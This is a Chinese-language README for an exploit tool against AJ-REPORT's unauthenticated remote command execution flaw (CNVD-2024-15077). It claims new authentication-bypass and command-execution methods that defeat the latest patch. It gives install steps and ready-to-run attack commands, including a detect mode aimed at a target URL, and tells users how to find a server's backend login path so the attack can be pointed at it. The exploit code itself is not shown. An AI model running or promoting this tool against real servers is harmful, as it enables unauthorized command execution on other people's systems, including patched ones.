AJ-REPORT-EXPLOIT

AJ-REPORT未授权远程命令执行CNVD-2024-15077利用工具，在原版基础上增加了新的鉴权绕过以及远程命令执行方式，可以绕过最新修复。

分析

见AJ-REPORT远程命令执行.md

使用

pip install -r requirements.txt
python exp.py -u attack_url -b bypass1 -m detect

注意事项

请点击登陆查看请求url确定后端接口。 如输入用户名密码点击登录后发现接口为http://x.x.x.x/squirt1e/accessUser/login。 则检测命令为

python exp.py -u http://x.x.x.x/squirt1e/ -b bypass1 -m detect